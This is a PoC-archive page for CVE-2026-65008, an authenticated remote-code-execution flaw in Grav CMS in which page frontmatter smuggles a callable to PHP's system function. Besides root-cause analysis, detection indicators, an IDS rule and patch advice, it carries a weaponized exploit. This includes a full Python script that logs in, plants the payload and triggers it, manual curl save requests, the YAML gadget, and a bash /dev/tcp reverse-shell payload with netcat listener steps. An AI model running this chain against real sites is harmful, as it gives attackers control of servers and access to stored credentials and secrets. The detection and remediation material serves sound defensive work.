PoC Archive PoC Archive
CVE-2026-65008 category: web CVSS 9.8 (CRITICAL)
Patched

Grav CMS Blueprint Callable Injection — Authenticated RCE (CVE-2026-65008)

Published: 2026-11-27 • Researcher: Efe Gungor (GitHub: zer0dayf); vulnerability reported by YuvalMil, MatiHub25 and LeonKaya (GHSA-fj2p-qj2f-74v5)

Target software Grav CMS (getgrav/grav) and its bundled Form plugin
Affected versions All releases before 2.0.7 (fixed in 2.0.7); the CVE record names Grav 2.0.4 as a confirmed affected version. The upstream lab image downloads grav-admin 1.7.46, which is also below the fixed release
Status Weaponized (complete login, plant and trigger chain; not executed by the archivist)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-65008 (same flaw as CVE-2026-64850; GHSA-fj2p-qj2f-74v5)
Category
web
Affected product
Grav CMS (getgrav/grav) and its bundled Form plugin
Affected versions
All releases before 2.0.7 (fixed in 2.0.7); the CVE record names Grav 2.0.4 as a confirmed affected version. The upstream lab image downloads grav-admin 1.7.46, which is also below the fixed release
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-27 (upstream commit 100d5db, “Update Dockerfile path in docker-compose.yml”)
Author / ResearcherEfe Gungor (GitHub: zer0dayf); vulnerability reported by YuvalMil, MatiHub25 and LeonKaya (GHSA-fj2p-qj2f-74v5)
CVE / AdvisoryCVE-2026-65008 (same flaw as CVE-2026-64850; GHSA-fj2p-qj2f-74v5)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, VulnCheck via NVD); 8.7 CVSSv4.0 per the GitHub advisory (PR:L)
StatusWeaponized (complete login, plant and trigger chain; not executed by the archivist)
TagsGrav, CMS, PHP, RCE, CWE-94, callable injection, frontmatter, form plugin, authenticated, post-auth, privilege boundary
RelatedN/A

Affected Target

FieldValue
Software / SystemGrav CMS (getgrav/grav) and its bundled Form plugin
Versions AffectedAll releases before 2.0.7 (fixed in 2.0.7); the CVE record names Grav 2.0.4 as a confirmed affected version. The upstream lab image downloads grav-admin 1.7.46, which is also below the fixed release
Language / PlatformPHP 8.x (Grav/Twig) on Linux; the archived exploit is Python 3.10+ using requests
Authentication RequiredYes to plant the payload — an account with the admin.pages permission or api.pages.write; no authentication is needed to trigger it
Network Access RequiredYes — HTTP(S) access to the Grav admin panel and to the resulting page

Summary

Grav CMS before 2.0.7 lets an authenticated page editor plant a callable directive inside page frontmatter, and the Blueprint dynamic data routine forwards that callable and its arguments to PHP’s dispatcher without an allowlist. By using a public Grav utility as a trampoline, the attacker reaches the system command function and runs shell commands as the web server user. The command fires whenever anyone, including an unauthenticated visitor, loads the planted page, so page editing rights become remote code execution.

Vulnerability Details

Root Cause

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php, around line 426) resolves a Class::method provider string and its argument list from blueprint data and passes both straight to call_user_func_array() without validating the callback against any allowlist. The Form plugin routes page frontmatter through this path (form/classes/Form.php, around line 432), so a page author controls the provider string and its arguments.

A built-in public static method, Grav\Common\Utils::arrayFilterRecursive($source, $fn), calls $fn($key, $value) for every element of $source. Supplying system as $fn and the command as an array key makes Grav execute it during page rendering. The fix, released in Grav 2.0.7 (commit acffa34cbb0787fee87c609e0d6289e904fee33c), rejects dangerous callables.

Attack Vector

An authenticated attacker with the admin.pages permission (or the api.pages.write API scope) sends an admin page-save request (task=save plus a valid admin-nonce) whose data[frontmatter] contains a Form blueprint with a data-opts@ provider list. Grav writes the page to user/pages/<folder>/form.md. Any later unauthenticated GET /<folder> triggers rendering, which reaches call_user_func_array() and executes the embedded command.

Impact

Arbitrary command execution as the web server user (www-data in the bundled lab image). Because the command runs during ordinary page rendering, it is triggered by any visitor and can be embedded in a public page, giving an attacker who holds only page-edit rights full control of the site: reading configuration and secrets (user/config/, user/accounts/), modifying content, and establishing further access. The permission boundary is crossed: admin.pages is meant to grant content editing, not code execution.

Environment / Lab Setup

Output
OS:          Linux host with Docker
Target:      Grav CMS (grav-admin 1.7.46) on php:8.2-apache, port 8080
Attacker:    Linux host with Python 3.10+
Tools:       Docker, curl, requests, netcat (for the optional reverse shell)

Setup Steps

Shell script
1
2
3
4
5
cd docker
docker compose up -d --build

cd ..
pip install -r requirements.txt

The image downloads grav-admin 1.7.46 from getgrav.org at build time, so the build host needs outbound HTTPS access.

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab and complete the Grav setup wizard at /admin, creating an administrator account.

  2. Run the exploit against the lab with a harmless command:

    Shell script
    1
    
    python3 exploit.py -u http://127.0.0.1:8080 -U admin -P 'your-password' -c "id"
  3. Inspect the planted page on the server to confirm the gadget was written:

    Shell script
    1
    2
    3
    4
    5
    6
    
    docker exec grav_vulnerable cat /var/www/html/user/pages/rcepoc/form.md
    # frontmatter should contain:
    #   data-opts@:
    #     - 'Grav\Common\Utils::arrayFilterRecursive'
    #     - { 'id': 'x' }
    #     - system
  4. Trigger unauthenticated (the exploit does this automatically after planting):

    Shell script
    1
    
    curl -s http://127.0.0.1:8080/rcepoc
  5. Optional reverse shell — start a listener, then let the exploit plant a shell payload:

    Shell script
    1
    2
    
    nc -lvnp 4444
    python3 exploit.py -u http://127.0.0.1:8080 -U admin -P 'your-password' --lhost 127.0.0.1 --lport 4444
  6. Clean up by deleting the page folder and removing the container:

    Shell script
    1
    2
    
    docker exec grav_vulnerable rm -rf /var/www/html/user/pages/rcepoc
    docker rm -f grav_vulnerable

Exploit Code

Full automation: exploit.py (login, nonce extraction, page save, trigger, optional reverse shell). Docker lab: docker/docker-compose.yml and docker/Dockerfile.

The core gadget written into page frontmatter by the exploit:

YAML
1
2
3
4
5
6
7
8
9
forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'id': 'x' }
          - system

Equivalent manual save request:

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
curl -s 'http://127.0.0.1:8080/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\\Common\\Utils::arrayFilterRecursive'
          - { 'id': 'x' }
          - system"

Expected Output

Output
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The command output is echoed into the HTML response of the unauthenticated page request. With the reverse shell option, the listener receives a shell from the www-data user and the exploit reports that the trigger request timed out.

Detection & Indicators of Compromise

Output
POST /admin/pages/... task=save  data[frontmatter]=... data-opts@ ...
    ... 'Grav\Common\Utils::arrayFilterRecursive' ... system ...
  • Page files under user/pages/** containing data-opts@, arrayFilterRecursive or system in their frontmatter — this is the primary artifact left on disk.
  • An authenticated page-save followed by an immediate unauthenticated request to the new page, with OS command output (for example a uid= line) appearing in the HTML response.
  • Admin-session logins from unexpected addresses or at odd times, and page-save requests with a data[frontmatter] field that the normal editor never sends.
  • Page folders created with API calls rather than through the editor UI.
  • Outbound connections from the web server to unusual destinations shortly after a page view (reverse-shell variant).

WAF / SIEM rule (example):

Output
alert http any any -> any any (
  msg:"Grav Blueprint dynamicData RCE attempt";
  flow:to_server; http.method; content:"POST";
  http.uri; content:"/admin/pages/";
  http.request_body; content:"data-opts@"; nocase;
  sid:900650081;)

Remediation

ActionDetail
PatchUpgrade Grav to 2.0.7 or later (fix commit acffa34cbb0787fee87c609e0d6289e904fee33c); update the bundled Form plugin.
WorkaroundIf upgrading is not immediately possible, restrict admin.pages and api.pages.write to a very small trusted group, block page-save requests whose frontmatter contains data-opts@, and review recent page files for injected directives. Disabling the Form plugin removes the frontmatter path if forms are not needed.
Config HardeningEnforce least privilege on Grav accounts and API keys, enable two-factor authentication on admin accounts, keep the admin panel behind a VPN or IP allowlist, and monitor user/pages/ with file-integrity monitoring.

References

Notes

Verdict. Genuine, self-contained proof of concept: a full authentication-to-execution chain (admin login, nonce extraction, page-save with the callable gadget, unauthenticated trigger) plus a Docker lab that builds a vulnerable Grav image. It is not a scanner, detector or advisory-only writeup, and it contains no malware, persistence, credential-stealer or C2 components. The optional reverse-shell helper is a standard interactive-shell payload that belongs to the exploit itself.

License. The upstream repository declares no license (no LICENSE file), so the code remains all rights reserved by its author. It is archived here for research and educational purposes with full attribution; do not redistribute commercially without the author’s permission.

Limitations and caveats.

  • This copy was not executed by the archivist. The README’s claims (successful login, planting and command output) are the upstream author’s, and the lab build and version-specific selectors were not independently verified here.
  • The CVE record names Grav 2.0.4 while the upstream Dockerfile deploys grav-admin 1.7.46. Both are below the 2.0.7 fix and the affected code path is present in the 1.7 branch, but a reviewer reproducing the lab should confirm the vulnerable path exists in the image before trusting a negative result.
  • CVSS is disputed: VulnCheck/NVD assign 9.8 with PR:N, while the GitHub advisory’s CVSSv4.0 vector uses PR:L (8.7) because planting requires admin.pages. Treat the score as a measure of the post-auth impact and the unauthenticated trigger, not of pre-auth exploitability.
  • CVE-2026-65008 and CVE-2026-64850 describe the same Grav flaw and share the GHSA advisory; the two identifiers are tracked together here.
  • The exploit’s page folder defaults to rcepoc and its payload is written to user/pages/rcepoc/form.md; changing --folder changes that path, which is useful for detection tuning.
  • Upstream source contains a Turkish-language inline comment in the reverse-shell branch; the archived copy preserves it verbatim for attribution.
exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#!/usr/bin/env python3
# ---------------------------------------------------------------------------
# ARCHIVE COPY - educational / authorized security research only.
# Do not run against systems you do not own or have explicit written
# permission to test. Executing this script against a third-party host is
# illegal in most jurisdictions.
#
# Upstream: https://github.com/zer0dayf/CVE-2026-65008 (no license declared)
# Archived: 2026-11-27 by the poc-archive project, with attribution.
# ---------------------------------------------------------------------------
"""
CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE
via Blueprint::dynamicData() + arrayFilterRecursive trampoline

Lab / authorized testing only.
"""

import argparse
import re
import sys
import time
from urllib.parse import urljoin

import requests

requests.packages.urllib3.disable_warnings()

BANNER = r""" . *  .  *  GRAVITY FAIL  *  .  *
              _____
           .-'     '-.
          / RCE INSIDE \
         | system(\"id\")|
          \   www-data  /
           '-._______.-'
        CVE-2026-65008 | Blueprint went brrr
"""







class GravExploit:
    def __init__(self, base_url, username, password, verify=False):
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.verify = verify
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
        })
        self.nonce = None

    def login(self):
        print("[*] Logging in...")
        login_url = urljoin(self.base_url, "/admin")
        r = self.session.get(login_url, timeout=15)

        match = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text)
        if not match:
            print("[-] login-nonce not found")
            return False

        data = {
            "data[username]": self.username,
            "data[password]": self.password,
            "task": "login",
            "login-nonce": match.group(1)
        }

        r = self.session.post(login_url, data=data, allow_redirects=True, timeout=15)

        if "login-nonce" in r.text and "data[username]" in r.text:
            print("[-] Login failed")
            return False

        print("[+] Login successful")
        return True

    def get_admin_nonce(self):
        r = self.session.get(urljoin(self.base_url, "/admin"), timeout=15)
        patterns = [
            r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]",
            r"admin-nonce:([a-f0-9]+)",
            r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']',
        ]
        for pattern in patterns:
            match = re.search(pattern, r.text)
            if match:
                self.nonce = match.group(1)
                return True
        return False

    def plant(self, command, folder="rcepoc"):
        print(f"[*] Planting payload → {command[:70]}{'...' if len(command) > 70 else ''}")

        if not self.get_admin_nonce():
            print("[-] Could not get admin-nonce")
            return False

        safe_cmd = command.replace("'", "'\\''")

        frontmatter = f"""forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\\Common\\Utils::arrayFilterRecursive'
          - {{ '{safe_cmd}': 'x' }}
          - system"""

        data = {
            "task": "save",
            "admin-nonce": self.nonce,
            "form-nonce": self.nonce,
            "data[folder]": folder,
            "data[name]": "form",
            "data[title]": "RCE",
            "data[content]": "pwned",
            "data[frontmatter]": frontmatter
        }

        url = urljoin(self.base_url, f"/admin/pages/{folder}")
        r = self.session.post(url, data=data, timeout=15)

        if r.status_code not in (200, 302):
            print(f"[-] Plant failed (HTTP {r.status_code})")
            return False

        print("[+] Payload planted")
        return True

    def trigger(self, folder="rcepoc", timeout=8):
        print("[*] Triggering payload...")
        try:
            r = requests.get(
                urljoin(self.base_url, f"/{folder}"),
                timeout=timeout,
                verify=False
            )
            return r.text, False   # (body, timed_out)
        except requests.exceptions.ReadTimeout:
            return None, True      # timed out = muhtemel shell
        except Exception as e:
            print(f"[-] Trigger error: {e}")
            return None, False

    def run_cmd(self, command, folder="rcepoc"):
        if not self.plant(command, folder):
            return None
        time.sleep(0.5)
        body, timed_out = self.trigger(folder, timeout=12)
        if timed_out:
            print("[!] Request timed out (command may still have run)")
        return body

    def reverse_shell(self, lhost, lport, folder="rcepoc"):
        payload = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'

        print(f"[*] Reverse shell target → {lhost}:{lport}")
        print(f"[!] Make sure listener is running:  nc -lvnp {lport}")
        print(f"[*] Payload: {payload}")

        if not self.plant(payload, folder):
            print("[-] Failed to plant reverse shell payload")
            return False

        time.sleep(0.6)
        body, timed_out = self.trigger(folder, timeout=6)

        if timed_out:
            print("[+] Request timed out → reverse shell likely connected!")
            print("[+] Check your nc listener.")
            return True
        else:
            print("[-] Request finished without timeout.")
            print("[-] Reverse shell probably FAILED (listener empty?).")
            if body:
                # Komut çıktısı geldiyse göster (hata mesajı olabilir)
                snippet = body[:300].replace("\n", " ")
                print(f"[*] Response snippet: {snippet}")
            return False


def main():
    print(BANNER)

    parser = argparse.ArgumentParser(description="CVE-2026-65008 Grav CMS Authenticated RCE")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-U", "--username", default="admin", help="Username")
    parser.add_argument("-P", "--password", required=True, help="Password")
    parser.add_argument("-c", "--command", default="id", help="Command to execute")
    parser.add_argument("--lhost", help="Reverse shell LHOST")
    parser.add_argument("--lport", type=int, default=4444, help="Reverse shell LPORT")
    parser.add_argument("--folder", default="rcepoc", help="Page folder name")
    parser.add_argument("--no-verify", action="store_true", help="Disable TLS verification")

    args = parser.parse_args()
    exploit = GravExploit(args.url, args.username, args.password, verify=not args.no_verify)

    if not exploit.login():
        sys.exit(1)

    if args.lhost:
        ok = exploit.reverse_shell(args.lhost, args.lport, folder=args.folder)
        sys.exit(0 if ok else 1)

    output = exploit.run_cmd(args.command, folder=args.folder)
    if output:
        print("\n" + "=" * 60)
        for line in output.splitlines()[:20]:
            if line.strip() and not line.strip().startswith("<"):
                print(line)
        print("=" * 60)
        print("[+] Done")
    else:
        print("[-] No usable output")


if __name__ == "__main__":
    main()